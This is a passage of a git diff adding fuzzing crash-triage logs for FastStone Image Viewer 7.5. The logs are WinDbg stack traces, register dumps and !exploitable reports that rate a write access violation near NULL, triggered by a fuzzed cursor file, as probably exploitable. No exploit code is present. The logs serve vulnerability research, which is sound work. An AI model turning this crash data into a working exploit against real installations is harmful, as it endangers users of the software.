+image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.10744e-026 -2.05415e-019 -1.09522e+025 4.17592e+013 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00279000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00279000 cfec6491 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00279000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4332f88 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..154e10a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F9C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F9C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f9c.1028): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.05662e+013 -9.68311e-019 2.89621e+025 0.00238314 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0020a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0020a000 f187a052 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0020a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..154e10a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F9C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F9C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f9c.1028): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.05662e+013 -9.68311e-019 2.89621e+025 0.00238314 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 